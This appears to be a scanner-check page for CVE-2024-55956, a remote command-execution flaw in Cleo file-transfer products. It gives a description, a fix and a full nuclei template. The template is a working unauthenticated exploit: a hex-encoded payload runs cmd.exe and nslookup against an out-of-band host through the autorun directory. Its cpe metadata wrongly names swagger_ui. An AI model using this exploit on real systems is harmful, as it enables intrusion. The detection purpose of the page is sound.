Cleo Harmony < 5.8.0.24 - File Upload Vulnerability

Exploited in the wild. Listed by CISA on 2024-12-17; known to be used by ransomware.

criticalseverity

9.8CVSS score

94%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.

Impact

Unauthenticated attackers can upload and execute arbitrary Bash or PowerShell commands on the host system by exploiting the default Autorun directory settings, achieving complete system compromise.

Fix

Update Cleo Harmony, VLTrader, and LexiCom to version 5.8.0.24 or later to address the arbitrary command execution vulnerability.

How to confirm it

Send: POST /Synchronization
Positive when: contains(tolower(response), "cleo") and len(body) == 0
Send: POST /Synchronization
Positive when: len(body) == 0 and contains(interactsh_protocol, "dns")

Run it with nuclei: nuclei -id CVE-2024-55956 -u <target>

The full check

id: CVE-2024-55956

info:
  name: Cleo Harmony < 5.8.0.24 - File Upload Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary Bash or PowerShell commands on the host system by exploiting the default Autorun directory settings, achieving complete system compromise.
  remediation: |
    Update Cleo Harmony, VLTrader, and LexiCom to version 5.8.0.24 or later to address the arbitrary command execution vulnerability.
  reference:
    - https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55956
    cwe-id: CWE-276
    epss-score: 0.93968
    epss-percentile: 0.99846
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'Server: Cleo'
  tags: cve,cve2024,intrusive,cleo,file-upload,kev,vkev,vuln

flow: http(1) && http(2)

variables:
  payload_1: "{{ hex_decode('3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0a3c486f737420616c6961733d2264376363323439302d303361392d343861382d386166642d62643730343263666462643522206170706c69636174696f6e3d22222062793d2241646d696e6973747261746f722220636c6173733d222a437777514e77776245523453456841384578346345444e525151775242777362476b35544551644f45415557546b4d2a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d22547275652220656e633d2239353732343634652d373862352d343633352d386133622d30623937393964643862663922206c6f63616c3d225472756522206d6f646576656e743d224d6f64696669656422206d6f6469666965643d22323032302f31302f31302030303a30303a303022206d6f646974656d3d22266c743b636f70792667743b6d79436f6d6d616e6473404c6f63616c20436f6d6d616e647322206d6f64747970653d22416374696f6e732220707265636f6e666967757265643d22323030392f31302f33302031353a3135222072656164793d225472756522207374616e64616c6f6e65616374696f6e3d2246616c73652220746573743d2246616c736522207472616e73706f72743d222220747970653d2222207569643d2264363330613565622d326335612d343265362d393534302d373763326261353130363232222076657273696f6e3d2231223e0a20203c436f6e6e656374747970653e303c2f436f6e6e656374747970653e0a20203c496e626f783e696e626f783c2f496e626f783e0a20203c496e6465783e303c2f496e6465783e0a20203c496e646578646174653e2d313c2f496e646578646174653e0a20203c496e7465726e616c3e303c2f496e7465726e616c3e0a20203c4e6f7465733e5468697320636f6e7461696e73206d61696c626f78657320666f722061206c6f63616c20686f73742077686963682063616e206265207573656420666f72206c6f63616c20636f6d6d616e6473206f6e6c792e3c2f4e6f7465733e0a20203c4f726967696e3e4c6f63616c20436f6d6d616e64733c2f4f726967696e3e0a20203c4f7574626f783e6f7574626f783c2f4f7574626f783e0a20203c506f72743e303c2f506f72743e0a20203c52756e6e696e676c6f63616c72657175697265643e547275653c2f52756e6e696e676c6f63616c72657175697265643e0a20203c536563757265706f727472657175697265643e46616c73653c2f536563757265706f727472657175697265643e0a20203c556964737770643e547275653c2f556964737770643e0a20203c416476616e6365643e5a6970436f6d7072657373696f6e4c6576656c3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e584d4c456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f72697479496e636f6d696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e50475048617368416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e486967685072696f726974794f7574676f696e675765696768743d31303c2f416476616e6365643e0a20203c416476616e6365643e504750436f6d7072657373696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e4f7574626f78536f72743d53797374656d2044656661756c743c2f416476616e6365643e0a20203c416476616e6365643e504750456e6372797074696f6e416c676f726974686d3d53797374656d2044656661756c743c2f416476616e6365643e0a20203c4d61696c626f7820616c6961733d2265666337366261302d323061642d343763642d393534632d6364356435623436643333642220636c6173733d222a42784164457859654d67776245523453456841384578346345444e522220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206c6f63616c64656372797074636572743d2222206c6f63616c656e6372797074636572743d2222206c6f63616c7061636b6167696e673d224e6f6e652220706172746e657264656372797074636572743d222220706172746e65726465637279707470617373776f72643d222220706172746e6572656e6372797074636572743d222220706172746e65727061636b6167696e673d224e6f6e65222072656164793d225472756522207569643d2262376462323563372d383935652d343430642d393231372d393262326363643532326562222076657273696f6e3d2231223e0a202020203c416374696f6e20616374696f6e747970653d22436f6d6d616e64732220616c6961733d2236636164303764382d623239372d346465612d623065612d633666303338316534313637222062793d2241646d696e6973747261746f722220636c6173733d222a455241574378772b444273524868495345447754486877514d31452a2220637265617465643d22323032302f31302f31302030303a30303a30302220656e61626c65643d225472756522206d6f6469666965643d22323032302f31302f31302030303a30303a3030222072656164793d225472756522207569643d2261386236393166662d303332652d346662362d626562632d653635613330333265646364222076657273696f6e3d2232223e0a2020202020203c4175746f737461727475703e46616c73653c2f4175746f737461727475703e0a2020202020203c436f6d6d616e64733e3c215b43444154415b53595354454d20636d642e657865202f6320226e736c6f6f6b75702e65786520') }}"
  payload_2: "{{ hex_decode('225d5d3e3c2f436f6d6d616e64733e0a2020202020203c46696c6573696e3e303c2f46696c6573696e3e0a2020202020203c46696c65736f75743e303c2f46696c65736f75743e0a2020202020203c53736c3e46616c73653c2f53736c3e0a202020203c2f416374696f6e3e0a20203c2f4d61696c626f783e0a3c2f486f73743e') }}"
  payload: "{{ concat(payload_1, '{{interactsh-url}}', payload_2) }}"
  xml_file: "{{randstr_1}}"
  autorun_file: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/{{xml_file}}.tmp";receiptfolder=Unspecified;
        --------boundary
        {{ zip("hosts/main.xml", payload) }}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(response), "cleo")'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="autorun/{{autorun_file}}.txt";receiptfolder=Unspecified;
        --------boundary
        -i "temp/{{xml_file}}.tmp"
        -r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'contains(interactsh_protocol, "dns")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from